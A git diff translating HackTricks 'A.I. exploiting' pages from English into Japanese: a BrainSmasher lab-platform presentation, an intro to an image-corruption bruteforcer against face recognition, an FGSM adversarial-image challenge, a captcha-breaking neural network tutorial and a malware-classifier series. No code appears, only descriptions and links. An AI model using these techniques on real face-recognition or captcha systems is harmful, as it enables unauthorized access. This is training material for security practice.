- - diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/Basic_Bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/Basic_Bruteforcer.md index 49f5313c8..204b3d529 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/Basic_Bruteforcer.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/Basic_Bruteforcer.md @@ -1,18 +1,16 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
@@ -20,31 +18,29 @@ # BRUTEFORCER IMAGE CORRUPTION SCRIPT -The purpose here is to introduce the user to some basic concepts about **A.I. apps exploiting**, via some easy to follow scripts, which represents the core for writing useful tools.
-In this example (which can be used to solve the easy labs of BrainSmasher) by recalling also what is written in the solution for the introduction challenge, we will provide a simple yet useful way, in order to iteratively produce some corrupted images, to bruteforce the face recon easy labs (and thus also real applications that relies on the same principles) +ここでは、いくつかの簡単なスクリプトを通じて、**A.I.アプリの悪用**についての基本的な概念をユーザーに紹介し、有用なツールを作成するためのコア部分を示します。
+この例では(BrainSmasherの簡単なラボを解決するために使用できる)、導入チャレンジの解決策にも書かれていることを思い出しながら、いくつかの破損した画像を反復的に生成する単純で便利な方法を提供します。これにより、顔認識の簡単なラボ(および同じ原理に依存する実際のアプリケーション)をブルートフォースすることができます。 -Of course we will not provide the full code but only the core part for the exploiting of the model,**instead some exercises will be left to the user (the pentesting part)**, in order to complete the tool. We will provides also some hints, just to give an idea of what can be done. +もちろん、完全なコードは提供しませんが、モデルの悪用のためのコア部分のみを提供します。**代わりに、ユーザーには(ペンテストの部分)を完了するためのいくつかの演習が残されます**。何ができるかのアイデアを与えるために、いくつかのヒントも提供します。 -The script can be found at [**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV) +スクリプトは[**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV)で見つけることができます。 -Try it on our labs [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu/) +私たちのラボで試してみてください[**BrA.I.Smasher Website**](https://beta.brainsmasher.eu/)
-Enjoy and stay safe! +楽しんで安全にお過ごしください!
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md b/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md index 1cdf33352..fc24849c6 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/Hybrid_Malware_Classifier_Part_1.md @@ -1,54 +1,32 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
#INTERMEDIATE PYTHON SKILL, INTERMEDIATE MACHINE LEARNING SKILLS (Part 1) -In this series of notebook we are going to build an **hybrid malware classifier.** +このシリーズのノートブックでは、**ハイブリッドマルウェア分類器**を構築します。 -For the **First part** we will focus on the scripting that involves dynamic analysis. Any steps of this series will come useful in order to detect malwares, and in this piece we will try to classify them based on their behaviour, utilizing the logs produced by running a program. +**第1部**では、動的解析に関連するスクリプトに焦点を当てます。このシリーズの手順は、マルウェアを検出するために役立ちます。このパートでは、プログラムを実行することで生成されるログに基づいてマルウェアを分類しようとします。 -In the **Second Part** we will see how to manipulate the logs files in order to add robustness to our classifier and adjust the code to counter the more advanced methods of A.I. Malware Evasion. +**第2部**では、ログファイルを操作して分類器に堅牢性を追加し、AIマルウェア回避のより高度な方法に対抗するためのコードを調整する方法を見ていきます。 -In the **Third Part** we will create a Static Malware Classifier. +**第3部**では、静的マルウェア分類器を作成します。 -For the **Fourth Part** For the Fourth Part we will add some tactics to add robustness to our Static classifier and merge the latter with our Dynamic Classifier. - -**PLEASE NOTE:** This Series strongly relies on building a dataset on your own, even if it's not mandatory.
-There are also many available datasets for Static and/ or Dynamic Malware analysis on several sites for this type of classification, like Ember, VirusShare, Sorel-20M, but i strongly encourage that you build one or your own. - -Here's the link to our [**colab notebook**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn) enjoy and stay safe :) - - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+**第4部**では、静的分類器に堅牢性を追加し、後者を動的分類器と統合します。 +**注意:**このシリーズは、データセットの構築に強く依存していますが、必須ではありません。
+静的および/または動的マルウェア分析のための利用可能なデータセットもいくつかありますが、自分自身でデータセットを構築することを強くお勧めします。 +[**colabノートブックへのリンク**](https://colab.research.google.com/drive/1nNZLMogXF-iq-_78IvGTd-c89_C82AB8#scrollTo=lUHLMl8Pusrn)をご覧ください。楽しんで安全にお使いください :) diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/README.md b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md index c784edf25..f19c8f1bb 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/README.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/README.md @@ -1,54 +1,52 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Presentation +# プレゼンテーション -**BrainSmasher** is a platform made with the purpose of aiding **pentesters, researcher, students, A.I. Cybersecurity engineers** to practice and learn all the techniques for **exploiting commercial A.I.** applications, by working on specifically crafted labs that reproduce several systems, like face recognition, speech recognition, ensemble image classification, autonomous drive, malware evasion, chatbot, data poisoning etc... +**BrainSmasher**は、**ペンテスター、研究者、学生、A.I.サイバーセキュリティエンジニア**が商用A.I.アプリケーションを**攻撃するための技術を練習し、学ぶ**ためのプラットフォームです。顔認識、音声認識、アンサンブル画像分類、自律走行、マルウェア回避、チャットボット、データ汚染など、さまざまなシステムを再現する特別に作成されたラボで作業します。 -Every month a lab on various topic found in commercial A.I. applications will be posted, with **3 different difficulties** (named challenges), in order to **guide** the user in **understanding** all the mechanics behind it and practice **different** ways of **exploitation**. +毎月、商用A.I.アプリケーションで見つかるさまざまなトピックのラボが掲示され、**3つの異なる難易度**(チャレンジと呼ばれる)で提供されます。これにより、ユーザーがそれらの背後にあるメカニズムを**理解**し、**異なる**攻撃方法を**練習**することができます。 -Since A.I. applications are relatively new, there is also the possibility that the **harder difficulty challenges for the labs don't have some public known ways of exploitation**, so it's up to you to find the correct solution. Maybe some challenges could need the **combination** of "**standard**" **cybersecurity** techniques with **machine** **learning** adversarial attacks ;) +A.I.アプリケーションは比較的新しいため、ラボの**難しい難易度のチャレンジには、公に知られていない攻撃方法が存在しない場合があります**。そのため、正しい解決策を見つけるのはあなた次第です。いくつかのチャレンジでは、**「標準的な」サイバーセキュリティの技術と機械学習の敵対的攻撃**の組み合わせが必要かもしれません ;) -The platform, which is now in **beta** version, will also feature in the next future **paid** competitions, **job** **offers** posting, **ranking** system, **tutorials** on several A.I. exploit topics, the possibility to **earn** **money** by **proposing** personal **labs** or different challenges, for an already existent A.I. lab applications, to be used by the community and also propose modification already existent challenges in order to augment their robustness vs. the various attacks. +**ベータ**バージョンのプラットフォームでは、将来的には**有料**のコンテスト、**求人**情報の掲載、**ランキング**システム、さまざまなA.I.攻撃トピックの**チュートリアル**、個人のラボや異なるチャレンジの提案による**収益**の**獲得**、既存のA.I.ラボアプリケーションのためのコミュニティによる使用、既存のチャレンジの改変提案なども提供される予定です。 -All the **material and the techs for the exploitation of A.I. will be posted here** in a dedicated section of hacktricks. +A.I.の攻撃に関する**すべての資料と技術は、ここに専用のセクションとして掲載されます**。 -**While** we are in **beta** version and completing the implementation of all the above described features, the subscription and all the already posted labs with their relative **challenges are free**.\ -**So start learning how to exploit A.I. for free while you can in** [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu)\ -ENJOY ;) +**ベータ**バージョンであり、上記に説明したすべての機能の実装を完了するまで、サブスクリプションとすべての既に掲示されているラボとそれに関連する**チャレンジは無料**です。\ +**だから、無料でA.I.を攻撃する方法を学び始めましょう** [**BrA.I.Smasherウェブサイト**](https://beta.brainsmasher.eu)\ +楽しんでください ;) -_A big thanks to Hacktricks and Carlos Polop for giving us this opportunity_ +_HacktricksとCarlos Polopにこの機会を与えてくれたBrA.I.nsmasherのWalter Mieleに大きな感謝を_ > _Walter Miele from BrA.I.nsmasher_ -# Registry Challenge +# 登録チャレンジ -In order to register in [**BrA.I.Smasher** ](https://beta.brainsmasher.eu)you need to solve an easy challenge ([**here**](https://beta.brainsmasher.eu/registrationChallenge)).\ -Just think how you can confuse a neuronal network while not confusing the other one knowing that one detects better the panda while the other one is worse... +[**BrA.I.Smasher** ](https://beta.brainsmasher.eu)に登録するには、簡単なチャレンジを解く必要があります([**こちら**](https://beta.brainsmasher.eu/registrationChallenge))。\ +パンダをよりよく検出する一方で、他のネットワークを混乱させる方法を考えてみてください... {% hint style="info" %} -However, if at some point you **don't know how to solve** the challenge, or **even if you solve it**, check out the official solution in [**google colab**](https://colab.research.google.com/drive/1MR8i\_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing). +ただし、チャレンジの解決方法がわからない場合、または解決した場合でも、公式の解決策を[**Google Colab**](https://colab.research.google.com/drive/1MR8i\_ATm3bn3CEqwaEnRwF0eR25yKcjn?usp=sharing)で確認してください。 {% endhint %} -I have to tell you that there are **easier ways** to pass the challenge, but this **solution** is **awesome** as you will learn how to pass the challenge performing an **Adversarial Image performing a Fast Gradient Signed Method (FGSM) attack for images.** +このチャレンジをパスする**簡単な方法**もありますが、この**解決策**は**素晴らしい**です。なぜなら、**Adversarial Image performing a Fast Gradient Signed Method (FGSM) attack for images**を実行することで、チャレンジをパスする方法を学ぶからです。 -# More Tutorials +# その他のチュートリアル {% content-ref url="basic-captcha-breaker.md" %} [basic-captcha-breaker.md](basic-captcha-breaker.md) @@ -59,16 +57,6 @@ I have to tell you that there are **easier ways** to pass the challenge, but thi ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - - - +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、独占的な[**NFT**](https://opensea.io/collection/the-peass-family) diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md index 1fb2bd014..58865696c 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-bruteforcer.md @@ -1,50 +1,46 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
# BRUTEFORCER IMAGE CORRUPTION SCRIPT -The purpose here is to introduce the user to some basic concepts about **A.I. apps exploiting**, via some easy to follow scripts, which represents the core for writing useful tools.\
\ -In this example (which can be used to solve the easy labs of BrainSmasher) by recalling also what is written in the solution for the introduction challenge, we will provide a simple yet useful way, in order to iteratively produce some corrupted images, to bruteforce the face recon easy labs (and thus also real applications that relies on the same principles) +ここでは、いくつかの簡単なスクリプトを通じて、**A.I.アプリの悪用**についての基本的な概念をユーザーに紹介し、有用なツールの作成のためのコア部分を示します。\
\ +この例では(BrainSmasherの簡単なラボを解決するためにも使用できます)、導入チャレンジの解決策にも書かれていることを思い出しながら、いくつかの破損した画像を反復的に生成する単純で便利な方法を提供します。これにより、顔認識の簡単なラボ(および同じ原理に依存する実際のアプリケーション)をブルートフォースすることができます。 -Of course we will not provide the full code but only the core part for the exploiting of the model, **instead some exercises will be left to the user (the pentesting part)**, in order to complete the tool. We will provides also some hints, just to give an idea of what can be done. +もちろん、完全なコードは提供しませんが、モデルの悪用のためのコア部分のみを提供します。**代わりに、ユーザーには(ペントestingの部分)を完了するためのいくつかの演習が残されます**。何ができるかのアイデアを与えるために、いくつかのヒントも提供します。 -The script can be found at [**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV) +スクリプトは[**IMAGE BRUTEFORCER**](https://colab.research.google.com/drive/1kUiWGRKr4vhqjI9Xgaqw3D5z3SeTXKmV)で見つけることができます。 -Try it on our labs [**BrA.I.Smasher Website**](https://beta.brainsmasher.eu) +私たちのラボで試してみてください[**BrA.I.Smasher Website**](https://beta.brainsmasher.eu) -Enjoy and stay safe! +楽しんで安全にお使いください!
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md index 8b323a78d..53d102be4 100644 --- a/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md +++ b/a.i.-exploiting/bra.i.nsmasher-presentation/basic-captcha-breaker.md @@ -1,43 +1,21 @@ +このチュートリアルでは、**基本的なキャプチャを解読**します。 +**複数の画像**を使用して**文字を表すニューラルネットワーク(NN)を訓練**し、その後、このNNを使用してキャプチャ画像内の文字を**自動的に識別**します。 + +[**BrA.In Smasher**](https://beta.brainsmasher.eu/)が提供する素晴らしいガイド付きチュートリアルを、この[**Google Colabページ**](https://colab.research.google.com/drive/1uiQJpqEj5V2_ijoumSd2noaDJuniTlKq?usp=sharing)で確認してください。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- 